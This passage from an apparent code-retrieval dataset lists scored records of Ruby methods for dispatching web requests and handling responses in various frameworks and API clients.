meaning.\n\t\t\t\n\t\t\t\tcontext[:allow_docroot_caching] = @currentPage.allow_docroot_caching?\n\n\t\t\t\tunless context[:skip_pagecache]\n\t\t\t\t\tinitialize_pagecache if !@pages\n\t\t\t\t\t@pages[context.requestID] = @currentPage if @currentPage.cacheable?\n\t\t\t\t\t@pages[context.requestID].session = nil if @pages[context.requestID].respond_to?(:session) and @currentPage.cacheable?\n\t\t\t\telse\n\t\t\t\t\[email protected]_content[fp] = [context.response_buffer,context.response.content_type,context.response.headers] if fp\n\t\t\t\tend\n\t\t\tend\n\t\trescue Exception => e\n\t\t\tLogger[Ciowa_log].error \"Application#handleResponse exception: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n\t\t\traise e\n\t\tend", "title": "" }, { "docid": "2fde4aa93826884153a722707d08d4e0", "score": "0.56769747", "text": "def dispatch_response\n @end_time = Time.now\n super\n end", "title": "" }, { "docid": "49b4e0a7e50df4e182cd0a3b8764d155", "score": "0.56565523", "text": "def dispatch_request( request )\n\t\t\tresponse = super\n\t\t\tself.transactions[ request ] = response\n\t\t\tself.shutdown\n\t\t\treturn response\n\t\tend", "title": "" }, { "docid": "9ad154781a4a889e721446412c33aedd", "score": "0.56417984", "text": "def dispatch(p_key)\n begin\n\n # Enter critical section\n @mutex.synchronize do\n\n request_url = @last_fm_api_specifics[:url][p_key] + URI.escape(@artist.name)\n\n # Create a HTTP Request and send it to the last.fm API\n @reply = @network_manager.dispatch_request({\n :url => request_url,\n :operation => :get,\n :error_tolerant => false,\n :error_handler => lambda { |error| err(error) }\n })\n\n # Connect the 'have just received a chunk of data' signal to its slot\n Qt::Object::connect(@reply, SIGNAL(\"readyRead()\"), self, SLOT(\"data_ready()\"))\n\n # Log that the request has been sent\n log(:web).info \"[#{@artist.name}] Sent request to last.fm API\"\n\n # Done with this part of the job, unlock the mutex\n @mutex.unlock\n\n end\n\n # Rescue any exceptions\n rescue Exception => e\n log(:web).error e\n end\n end", "title": "" }, { "docid": "60deacd36edeb851d8c72ede8400d3d3", "score": "0.5599136", "text": "def perform_request(response)\n return @requests[response.name] if @requests.key?(response.name)\n\n @requests[response.name] = http_client_request(http_options_for(response))\n @requests[response.name]\n end", "title": "" }, { "docid": "675833c2c66085b1facbadaa0e004e83", "score": "0.55983216", "text": "def dispatch(match)\n @_dispatched = true\n target = match.mapping[:target]\n response.merge! begin\n if Proc === target\n instance_exec(&target)\n else\n target.call(env.merge(\n 'SCRIPT_NAME' => request.matched_path.chomp('/'),\n 'PATH_INFO' => request.unmatched_path[match.path.chomp('/').length..-1]\n ))\n end\n end\n end", "title": "" }, { "docid": "1b15e44d177267f5d3e44f7d8a323aad", "score": "0.55956566", "text": "def perform_real_request\n if @real_request_performed\n # puts \"ALREADY PERFORMED HIZZY\"\n else\n @real_request_performed = true\n real_request_url = doc.css('h1 a[title=\"Product Name\"]')[0].attr(:href)\n\n @response = Timeout.timeout(LCBO.config[:timeout]) do\n Typhoeus::Request.new(real_request_url, {method:'GET'}).run\n end\n @html = @response.body\n @doc = Nokogiri::HTML(@html, nil, 'UTF-8')\n\n # puts \"HIZZAH\"\n end\n end", "title": "" }, { "docid": "cc7e8cc8095c1aef8d98ce25d7fc9adc", "score": "0.5593017", "text": "def response\n @response ||= handle_response\n end", "title": "" }, { "docid": "36c0987b5e56b49b4327fd5d5be5a052", "score": "0.5588868", "text": "def require_response!\n raise \"Must make a request first!\" unless [email protected] || @response.successful?\n @response.return!\n end", "title": "" }, { "docid": "5daee2f770c28785d04d1d2363ef5b2a", "score": "0.558602", "text": "def respond_with(response)\n @response = response\n end", "title": "" }, { "docid": "a543e6ec38abe600a3efae8fa892be0e", "score": "0.5557911", "text": "def dispatch_action(http_request, http_response)\n selected_action = nil\n\n # We don't want ancestor classes to overwrite existing actions.\n for klass in self.class.ancestors\n break if !klass.respond_to?(:actions)\n\n # Actions need to be in order, largest variable hash first, otherwise\n # the default action might always fire even when a better match is\n # available.\n sorted_actions = klass.actions.sort do |a, b|\n b.variables.size <=> a.variables.size\n end\n\n for action in sorted_actions\n if http_request.variables.merge(action.variables) ==\n http_request.variables &&\n action.methods.include?(http_request.method)\n selected_action = action\n break\n end\n end\n break if selected_action != nil\n end\n\n if selected_action != nil\n context = GentleREST::Context.new(self, :capture_output => false)\n (class <<context; self; end).send(:define_method, :request) do\n http_request\n end\n (class <<context; self; end).send(:define_method, :response) do\n http_response\n end\n http_response.options[:request] = http_request\n http_response.options[:controller] = self\n\n # Find any matching hooks.\n matching_hooks = []\n if !self.class.hooks.empty?\n # Unlike actions, hooks do not need to be in order, because\n # all matching hooks fire.\n \n # Load all hooks, including those from parent classes.\n hook_set = []\n for klass in self.class.ancestors\n break if !klass.respond_to?(:hooks)\n hook_set.concat(klass.hooks)\n end\n\n for hook in hook_set\n if http_request.variables.merge(hook.variables) ==\n http_request.variables\n matching_hooks << hook\n end\n end\n\n # Execute before hooks.\n for hook in (matching_hooks.reject { |h| h.hook != :before })\n hook.action.bind(context).call\n end\n end\n \n # Execute the action Proc within the custom execution context.\n result_body = selected_action.action.bind(context).call\n\n # If the response body has not been changed and the return value\n # of the Proc was a String, assign its value to the response body.\n if result_body.kind_of?(String) && http_response.body == nil\n http_response.body = result_body\n end\n\n # Execute after hooks.\n for hook in (matching_hooks.reject { |h| h.hook != :after })\n hook.action.bind(context).call\n end\n\n return http_response\n else\n raise NoMatchingActionError,\n \"Could not find an action that matched the request's variables.\"\n end\n end", "title": "" }, { "docid": "0a0e8e5f3027bfe33907f33790c64ad4", "score": "0.5548505", "text": "def dispatch(request, shared = false)\n\n # Determine which actor this request is for\n prefix, method = request.type.split('/')[1..-1]\n method ||= :index\n actor = @registry.actor_for(prefix)\n token = request.token\n received_at = @requests.update(method, (token if request.kind_of?(Request)))\n if actor.nil?\n Log.error(\"No actor for dispatching request <#{request.token}> of type #{request.type}\")\n return nil\n end\n\n # Reject this request if its TTL has expired\n if (expires_at = request.expires_at) && expires_at > 0 && received_at.to_i >= expires_at\n @rejects.update(\"expired (#{method})\")\n Log.info(\"REJECT EXPIRED <#{token}> from #{request.from} TTL #{RightSupport::Stats.elapsed(received_at.to_i - expires_at)} ago\")\n if request.is_a?(Request)\n # For agents that do not know about non-delivery, use error result\n non_delivery = if request.recv_version < 13\n OperationResult.error(\"Could not deliver request (#{OperationResult::TTL_EXPIRATION})\")\n else\n OperationResult.non_delivery(OperationResult::TTL_EXPIRATION)\n end\n result = Result.new(token, request.reply_to, non_delivery, @identity, request.from, request.tries, request.persistent)\n exchange = {:type => :queue, :name => RESPONSE_QUEUE, :options => {:durable => true, :no_declare => @secure}}\n @broker.publish(exchange, result, :persistent => true, :mandatory => true)\n end\n return nil\n end\n\n # Reject this request if it is a duplicate\n if @dup_check && !shared && request.kind_of?(Request)\n if @dispatched.fetch(token)\n @rejects.update(\"duplicate (#{method})\")\n Log.info(\"REJECT DUP <#{token}> of self\")\n return nil\n end\n request.tries.each do |t|\n if @dispatched.fetch(t)\n @rejects.update(\"retry duplicate (#{method})\")\n Log.info(\"REJECT RETRY DUP <#{token}> of <#{t}>\")\n return nil\n end\n end\n end\n\n # Proc for performing request in actor\n operation = lambda do\n begin\n @pending_dispatches += 1\n @last_request_dispatch_time = received_at.to_i\n @dispatched.store(token) if @dup_check && !shared && request.kind_of?(Request) && token\n if actor.method(method).arity.abs == 1\n actor.__send__(method, request.payload)\n else\n actor.__send__(method, request.payload, request)\n end\n rescue Exception => e\n @pending_dispatches = [@pending_dispatches - 1, 0].max\n handle_exception(actor, method, request, e)\n end\n end\n \n # Proc for sending response\n callback = lambda do |r|\n begin\n @pending_dispatches = [@pending_dispatches - 1, 0].max\n if request.kind_of?(Request)\n duration = @requests.finish(received_at, token)\n r = Result.new(token, request.reply_to, r, @identity, request.from, request.tries, request.persistent, duration)\n exchange = {:type => :queue, :name => RESPONSE_QUEUE, :options => {:durable => true, :no_declare => @secure}}\n @broker.publish(exchange, r, :persistent => true, :mandatory => true, :log_filter => [:tries, :persistent, :duration])\n end\n rescue RightAMQP::HABrokerClient::NoConnectedBrokers => e\n Log.error(\"Failed to publish result of dispatched request #{request.trace}\", e)\n rescue Exception => e\n Log.error(\"Failed to publish result of dispatched request #{request.trace}\", e, :trace)\n @exceptions.track(\"publish response\", e)\n end\n r # For unit tests\n end\n\n # Process request and send response, if any\n if @single_threaded\n @em.next_tick { callback.call(operation.call) }\n else\n @em.defer(operation, callback)\n end\n end", "title": "" }, { "docid": "af14ead2e57d97956221144862de992b", "score": "0.55396426", "text": "def full_response!\n update_attributes(full_response: true)\n end", "title": "" }, { "docid": "af06a946c91eecefb172efc8eda8b25b", "score": "0.55284625", "text": "def finish(response, bypass_memoization = nil)\n if bypass_memoization\n @response = response\n else\n self.response = response\n end\n self.response.request = self\n execute_callbacks\n response\n end", "title": "" }, { "docid": "b0a678b68f0f8532c6f87bd0c247a00e", "score": "0.55021286", "text": "def response\n @response || send!\n end", "title": "" }, { "docid": "68b45d35f50530c75554d9d784a2a33b", "score": "0.5491568", "text": "def fetch\n if r = self.class.responses[@uri.path]\n return r.respond_to?(:call) ? r.call : r\n end\n\n original_fetch\n end", "title": "" }, { "docid": "8d158753db6c1e27358af7a25700d2d9", "score": "0.5487059", "text": "def dispatch_web_service_request\n render :nothing => true and return if request.get?\n old_dispatch_web_service_request\n end", "title": "" }, { "docid": "08eebcbc0b5c36ab8062fee037ca30ed", "score": "0.542662", "text": "def dispatcher\n fire_response = (fire_severity > 0) ? dispatch('Fire', fire_severity) : 0\n police_response = (police_severity > 0) ? dispatch('Police', police_severity) : 0\n medical_response = (medical_severity > 0) ? dispatch('Medical', medical_severity) : 0\n\n return unless fire_response >= fire_severity &&\n police_response >= police_severity && medical_response >= medical_severity\n self.full_response = true\n end", "title": "" }, { "docid": "f0b751924ef4379b41c4cb27375a373f", "score": "0.54110956", "text": "def dispatch(target, action, *payload, &block)\n promise = Promise.new\n notify(self, :dispatch_requested, target, action, *payload)\n @dispatch_queue << lambda do\n begin\n result = target.send(action, *payload, &block)\n promise.resolve(result).then { refresh }\n notify(self, :dispatch_resolved, target, action, *payload, result)\n rescue => err\n promise.reject(err)\n notify(self, :dispatch_rejected, target, action, *payload, err)\n end\n end\n defer { process_dispatch_queue }\n promise\n end", "title": "" }, { "docid": "32a00766034d078e1e719b681e179919", "score": "0.5404106", "text": "def dispatch!\n if logger\n logger.info \"Request: #{request.path}\"\n logger.info \"Params: #{params.inspect}\"\n end\n\n\n # Check that the action is available\n raise Pancake::Errors::NotFound, \"No Action Found\" unless allowed_action?(action)\n\n @action_opts = actions[action]\n\n negotiate_content_type!(@action_opts.formats, params)\n\n # Set the layout defaults before the action is rendered\n if layout && stack_class.default_layout\n layout.template_name = stack_class.default_layout\n end\n\n layout.format = params['format'] if layout\n\n logger.info \"Dispatching to #{action.inspect}\" if logger\n\n result = catch(:halt){ self.send(action) }\n\n case result\n when Array\n result\n when Rack::Response\n result.finish\n when String\n out = if layout\n layout.content = result\n layout\n else\n result\n end\n Rack::Response.new(out, status, headers).finish\n else\n Rack::Response.new((result || \"\"), status, headers).finish\n end\n\n rescue Pancake::Errors::HttpError => e\n if logger && log_http_error?(e)\n logger.error \"Exception: #{e.message}\"\n logger.error e.backtrace.join(\"\\n\")\n end\n handle_request_exception(e)\n rescue Exception => e\n if Pancake.handle_errors?\n server_error = Pancake::Errors::Server.new(e.message)\n server_error.exceptions << e\n server_error.set_backtrace e.backtrace\n else\n server_error = e\n end\n handle_request_exception(server_error)\n end", "title": "" }, { "docid": "fecaee07d5be4e71724fa438b4e9a76c", "score": "0.54008526", "text": "def performAction(currentRequest, macroItems)\n pp [:got_performAction, currentRequest, macroItems] if $DEBUG\n Buby::HttpRequestResponseHelper.implant(currentRequest)\n end", "title": "" }, { "docid": "cd46bfbcd60413a8c2654fe5e22db6a8", "score": "0.53986907", "text": "def handle_response response\n @return_full_response ? response : response.body\n end", "title": "" }, { "docid": "6291ab28312f3cfdc54bba0152da2b69", "score": "0.5395344", "text": "def dispatch_action(klass, action, request, response, status=200)\n # build controller\n controller = klass.new(request, response, status)\n if use_mutex\n @@mutex.synchronize { controller._dispatch(action) }\n else\n controller._dispatch(action)\n end\n controller\n end", "title": "" }, { "docid": "b2925d5c9239dbebadf9b77099ed4ee8", "score": "0.53915423", "text": "def invoke_action(action)\n @@action_queue.add_action(action)\n @@action_queue.execute(self, action)\n render(action) unless @already_built_response\n end", "title": "" }, { "docid": "955c1ef4287f0fa285f80884de70527d", "score": "0.53795743", "text": "def response\n require_run\n @response\n end", "title": "" }, { "docid": "8f1b56b9255036fe9ffb5501075c324d", "score": "0.5378524", "text": "def dispatch_request(cli, data)\n if self.dispatch_request_proc\n self.dispatch_request_proc.call(cli,data)\n else\n default_dispatch_request(cli,data)\n end\n end", "title": "" }, { "docid": "f15e99b95aa59e904a5a41badc173af1", "score": "0.5375553", "text": "def response\n raise \"Must send a request before you can get a response. Run the results method first!\" if @request.nil?\n @response = @request.response\n end", "title": "" }, { "docid": "aab10a2859c8b897fe46943297d11692", "score": "0.5372469", "text": "def respond_with(candidate)\n @_response = candidate\n end", "title": "" }, { "docid": "6ed0203c4518e5ff24ead68d8a20ade0", "score": "0.53716993", "text": "def dispatch\n # logger.info '---- BEGIN REQUEST ----'\n # logger.info request.env['REQUEST_URI']\n # logger.info '---- REQUEST HEADERS ----'\n # for header in request.env.select{|k,v| k.match(\"^HTTP.*\")}\n # logger.info \"#{header[0]} => #{header[1]}\"\n # end\n # logger.info '---- END REQUEST ----'\n return unless check_source_or_redirect\n ActionController::Base.use_accept_header = true\n force_rdf_format\n # logger.info \"Chosen format: #{request.format}\"\n case request.format\n when 'xml' then redirect_to :status => 303, :action => 'dispatch_xml', :dispatch_uri => params[:dispatch_uri]\n when 'rdf' then redirect_to :status => 303, :action => 'dispatch_rdf', :dispatch_uri => params[:dispatch_uri]\n else redirect_to :status => 303, :action => 'dispatch_html', :dispatch_uri => params[:dispatch_uri], :file => params[:file]\n end\n end", "title": "" }, { "docid": "f891d68f18c906c165beb598a2bad7c0", "score": "0.53628236", "text": "def dispatch(action, request)\n result = Hash.new; response = Rack::Response.new\n\n request.resources.each do |name, more|\n resource = resource_for(name)\n next unless resource\n result.deep_merge! resource.new(request, name).send(action, more)\n end\n\n response['Content-Type'] = 'application/json'\n response.write(result.to_json)\n response.finish\n end", "title": "" }, { "docid": "ff5715e577bb86ade23305a66012f1af", "score": "0.53564805", "text": "def response\n @response ||= run\n end", "title": "" }, { "docid": "035b64f4949204a207444fe01efc8708", "score": "0.53172797", "text": "def dispatch\n base.dispatch\n end", "title": "" }, { "docid": "871bc9877fd98b5d905c1c2826a2c271", "score": "0.53156894", "text": "def get_dispatches_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.get_dispatches ...'\n end\n # resource path\n local_var_path = '/dispatch/dispatches'\n\n # query parameters\n query_params = {}\n query_params[:'courseId'] = opts[:'course_id'] if !opts[:'course_id'].nil?\n query_params[:'since'] = opts[:'since'] if !opts[:'since'].nil?\n query_params[:'until'] = opts[:'_until'] if !opts[:'_until'].nil?\n query_params[:'datetimeFilter'] = opts[:'datetime_filter'] if !opts[:'datetime_filter'].nil?\n query_params[:'tags'] = @api_client.build_collection_param(opts[:'tags'], :csv) if !opts[:'tags'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'filterBy'] = opts[:'filter_by'] if !opts[:'filter_by'].nil?\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'more'] = opts[:'more'] if !opts[:'more'].nil?\n query_params[:'includeTotalCount'] = opts[:'include_total_count'] if !opts[:'include_total_count'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DispatchListSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#get_dispatches\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "5a8c9379902b7f561f3e06a5fa674c37", "score": "0.5315391", "text": "def doPullResponse\n if([email protected](:ask) && [email protected](:idle))\n return\n end\n\n answer = penginePost(\n @po.getActualURLid('pull_response', self.getID()),\n \"application/x-prolog; charset=UTF-8\",\n @po.getRequestBodyPullResponse)\n\n handleAnswer(answer)\n end", "title": "" }, { "docid": "ba76d8193ade6b8380102b9e9f78d0b3", "score": "0.53150856", "text": "def update_dispatches_with_http_info(dispatch_properties, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.update_dispatches ...'\n end\n # verify the required parameter 'dispatch_properties' is set\n if dispatch_properties.nil?\n fail ArgumentError, \"Missing the required parameter 'dispatch_properties' when calling DispatchApi.update_dispatches\"\n end\n # resource path\n local_var_path = '/dispatch/dispatches'\n\n # query parameters\n query_params = {}\n query_params[:'courseId'] = opts[:'course_id'] if !opts[:'course_id'].nil?\n query_params[:'since'] = opts[:'since'] if !opts[:'since'].nil?\n query_params[:'until'] = opts[:'_until'] if !opts[:'_until'].nil?\n query_params[:'datetimeFilter'] = opts[:'datetime_filter'] if !opts[:'datetime_filter'].nil?\n query_params[:'tags'] = @api_client.build_collection_param(opts[:'tags'], :csv) if !opts[:'tags'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'filterBy'] = opts[:'filter_by'] if !opts[:'filter_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dispatch_properties)\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#update_dispatches\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a006eaa060ed5a41a0605788bc09235d", "score": "0.53148925", "text": "def process(*)\n _catch_warden { super }\n\n @response\n end", "title": "" }, { "docid": "910f712369da2b35be272403ad2a4a08", "score": "0.5309492", "text": "def perform_request\n return unless response = raw.perform\n responses.create(content: response.body)\n rescue Conduit::TimeOut\n update_attributes(status: :timeout)\n nil\n rescue Conduit::ConnectionError\n update_attributes(status: :error)\n nil\n end", "title": "" }, { "docid": "a84a68af9b22a0dda0aad8458ccf3fdf", "score": "0.5308593", "text": "def try_respond(request)\n circuit = get_circuit_for_uri(request.uri)\n\n circuit.respond\n end", "title": "" }, { "docid": "ee2b9ef374a8627fee07846c59139724", "score": "0.5272642", "text": "def dispatch_fake_request(request, response, status = 200, &block)\n klass = request.controller_class\n @controller = klass.build(request, response, status)\n \n @controller.send(:setup_session)\n # This will be a mock framework agnostic way of ensuring setup_session is not done again\n class << @controller\n def setup_session; true; end\n end\n \n yield @controller if block_given?\n\n @controller.dispatch(request.action)\n [@controller, request.action]\n \n rescue => exception\n exception = Dispatcher.send(:controller_exception, exception)\n @controller, @action = Dispatcher.send(:dispatch_exception, request, response, exception)\n end", "title": "" }, { "docid": "48ecb18c03abcd7c19059005ab419fff", "score": "0.5272052", "text": "def complete!(response)\n call_callback response, 0\n self\n end", "title": "" }, { "docid": "1ba8088493f8216c8603cfb093827b60", "score": "0.5271719", "text": "def user_interaction(req=self.request_params,res=nil)\n input = self.request(req)\n res ? self.respond(input, res) : input\n end", "title": "" }, { "docid": "afca4332eb38b9efbd5d25b8483638ae", "score": "0.52687496", "text": "def dispatch_and_save!\n responders << SEVERITY_FIELDS.flat_map do |field|\n type = get_type_from(field)\n look_for_responders(attributes[field], type)\n end\n\n save!\n self.full_response = full_response?\n save!\n end", "title": "" }, { "docid": "4e8830778d3fc6acd62fbdab756ecddb", "score": "0.5268656", "text": "def dispatch( results )\n # attach a timestamp\n results[:timestamp] = Time.now\n @responders.each do |responder|\n begin\n responder.new( self, results ).send( :on_anything ) if responder.instance_methods.include? \"on_anything\"\n responder.new( self, results ).send( results[:event] ) if responder.instance_methods.include? results[:event].to_s\n rescue Exception => e\n log e.message, 0\n log e.backtrace.join( \"\\n\" ), 0\n end\n end\n end", "title": "" }, { "docid": "96356d734958937e72280c0479c3e083", "score": "0.5267676", "text": "def notify(response)\n\t\tself.response = response\n\n\t\tif (self.completion_routine)\n\t\t\tself.completion_routine(self.completion_param, response)\n\t\telse\n\t\t\tself.done = true\n\t\tend\n\tend", "title": "" }, { "docid": "191d1bca4660501ada465e8b292c6aa0", "score": "0.52565116", "text": "def response\n @mutex.synchronize {\n if !@completed then\n @cond.wait(@mutex)\n end\n }\n return @response\n end", "title": "" }, { "docid": "19c4b1d29cd91a004bad57165b73b155", "score": "0.5245383", "text": "def doResponse(response)\n m = response.get_status.to_s\n st = run(response)\n\n resp_exact = \"sipRESPONSE_#{m}\".to_sym\n resp_group = \"sipRESPONSE_#{m[/./].to_s}xx\".to_sym\n\n if fsm_state_responds_to? st, resp_exact \n send(resp_exact, nil, response)\n\n elsif fsm_state_responds_to? st, resp_group \n send(resp_group, nil, response)\n\n elsif fsm_state_responds_to? st, :sipRESPONSE_ANY\n send(:sipRESPONSE_ANY, nil, response)\n\n else\n super \n end\n end", "title": "" }, { "docid": "aaad2260ef47dd79d62d15a77b8f5e8e", "score": "0.5238201", "text": "def get_dispatch_with_http_info(dispatch_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.get_dispatch ...'\n end\n # verify the required parameter 'dispatch_id' is set\n if @api_client.config.client_side_validation && dispatch_id.nil?\n fail ArgumentError, \"Missing the required parameter 'dispatch_id' when calling DispatchApi.get_dispatch\"\n end\n # resource path\n local_var_path = '/dispatch/dispatches/{dispatchId}'.sub('{' + 'dispatchId' + '}', dispatch_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DispatchSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#get_dispatch\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "84f96130193f404e363783d83ed8b1a2", "score": "0.5237458", "text": "def respond_with(candidate)\n @response = candidate\n end", "title": "" }, { "docid": "e31bf9567fa19bc599918641da9399f0", "score": "0.5235151", "text": "def invoke_action(action_name)\n self.send(action_name)\n unless already_built_response?\n render(action_name)\n end\n\n nil\n end", "title": "" }, { "docid": "c94bd18c13dbe3b87db61f0cd552ba2a", "score": "0.5231894", "text": "def dispatch(path)\n catch(:respond){\n redirected = catch(:redirect){\n filter(path)\n throw(:respond)\n }\n response.build(*redirected)\n }\n end", "title": "" }, { "docid": "2ef37e7b3e8010d0f539076e2c10d90c", "score": "0.52273", "text": "def dispatch!\n route!\n end", "title": "" }, { "docid": "16dfa1cd611e6b7aee8d8dc6aef62fe2", "score": "0.5226341", "text": "def dispatch_request(handler, request, response)\n dispatch_request_event = Events::DispatchRequestEvent.new(request, response)\n raise_event2(:request_dispatch, dispatch_request_event)\n\n if handler\n handler.call(request, response)\n else\n handle_not_found(request, response)\n end\n rescue BadRequestError => e\n handle_bad_request(e, request, response)\n rescue StandardError, LoadError, SyntaxError => e\n handle_exception(e, request, response)\n ensure\n raise_event2(:request_complete, dispatch_request_event.complete!)\n end", "title": "" }, { "docid": "27ad50c2fdb78df47c33162a5a8c13f8", "score": "0.52209604", "text": "def update_responses( )\n build_responses(options, true)\n end", "title": "" }, { "docid": "133cb305304cd684e373e25002e27e70", "score": "0.5206726", "text": "def process(request, response)\n if response.socket.closed?\n return\n end\n\n path_info = request.params[Mongrel::Const::PATH_INFO]\n page_cached = path_info + ActionController::Base.page_cache_extension\n get_or_head = @@file_only_methods.include? request.params[Mongrel::Const::REQUEST_METHOD]\n\n if get_or_head and @files.can_serve(path_info)\n # File exists as-is so serve it up\n @files.process(request,response)\n elsif get_or_head and @files.can_serve(page_cached)\n # Possible cached page, serve it up\n request.params[Mongrel::Const::PATH_INFO] = page_cached\n @files.process(request,response)\n else\n begin\n cgi = Mongrel::CGIWrapper.new(request, response)\n cgi.handler = self\n # We don't want the output to be really final until we're out of the lock\n cgi.default_really_final = false\n\n log_threads_waiting_for(@active_request_path || request.params[\"PATH_INFO\"]) if $mongrel_debug_client\n\n @guard.synchronize {\n @active_request_path = request.params[\"PATH_INFO\"] \n Dispatcher.dispatch(cgi, ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS, response.body)\n @active_request_path = nil\n }\n\n # This finalizes the output using the proper HttpResponse way\n cgi.out(\"text/html\",true) {\"\"}\n rescue Errno::EPIPE\n response.socket.close\n rescue Object => rails_error\n STDERR.puts \"#{Time.now}: Error calling Dispatcher.dispatch #{rails_error.inspect}\"\n STDERR.puts rails_error.backtrace.join(\"\\n\")\n end\n end\n end", "title": "" }, { "docid": "38b10a25ae7353b4bccaf66a1265d583", "score": "0.51990914", "text": "def handleResponse( resp )\n\n @completeResponse += resp\n validJson = validJson?( @completeResponse )\n if validJson\n change_event = ChangeEventInfo.new( @completeResponse )\n @completeResponse = \"\"\n @event_hander.notify( change_event )\n end\n end", "title": "" }, { "docid": "8b34502eb5012ed0eaeb4dce7e15ae35", "score": "0.5198675", "text": "def response\n @response ||= default_response\n end", "title": "" }, { "docid": "37fedefc67efafcbcef709d15ca07c76", "score": "0.51982236", "text": "def fetch\n # send no head requests because we want content\n convert_head_to_get!\n\n response = forward\n\n # Mark the response as explicitly private if any of the private\n # request headers are present and the response was not explicitly\n # declared public.\n if private_request? && !response.cache_control.public?\n response.private = true\n elsif default_ttl > 0 && response.ttl.nil? && !response.cache_control.must_revalidate?\n # assign a default TTL for the cache entry if none was specified in\n # the response; the must-revalidate cache control directive disables\n # default ttl assigment.\n response.ttl = default_ttl\n end\n\n store(response) if response.cacheable?\n\n response\n end", "title": "" }, { "docid": "a3fee2f8521fd83c0f159906dc48b391", "score": "0.5194653", "text": "def invoke_action(name)\n self.send(name)\n render(name) unless already_built_response?\n nil\n end", "title": "" }, { "docid": "7995eba758308be9aa28e05559af58a8", "score": "0.51888144", "text": "def get_dispatch_with_http_info(dispatch_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.get_dispatch ...'\n end\n # verify the required parameter 'dispatch_id' is set\n if dispatch_id.nil?\n fail ArgumentError, \"Missing the required parameter 'dispatch_id' when calling DispatchApi.get_dispatch\"\n end\n # resource path\n local_var_path = '/dispatch/dispatches/{dispatchId}'.sub('{' + 'dispatchId' + '}', dispatch_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DispatchSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#get_dispatch\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ba690d9e090f4e996051a10c980bd395", "score": "0.51823574", "text": "def invoke_action(name)\n send(name)\n unless already_built_response?\n render name\n end\n end", "title": "" }, { "docid": "dbc89f2de08b0f90fdbaacf199c01dc0", "score": "0.51789707", "text": "def after_update_response\n if must_update_file_visibility?(curation_concern)\n Rails.logger.debug(\"#{self.class} for #{curation_concern.class}: #{curation_concern.id} \" \\\n \"is about to update the embargos for its FileSets\")\n enforce_file_visibility(curation_concern)\n end\n\n respond_to do |wants|\n wants.html { redirect_to [main_app, curation_concern], notice: \"Work \\\"#{curation_concern}\\\" successfully updated.\" }\n wants.json { render :show, status: :ok, location: polymorphic_path([main_app, curation_concern]) }\n end\n end", "title": "" }, { "docid": "1affd8eda47662fcf0edaf1c193d0fa5", "score": "0.51721925", "text": "def invoke_action(name)\n send(name)\n render(name) unless already_built_response?\n end", "title": "" }, { "docid": "227f76f438090587a246c37332d10382", "score": "0.51718456", "text": "def handled_response\n @handled_response || self\n end", "title": "" }, { "docid": 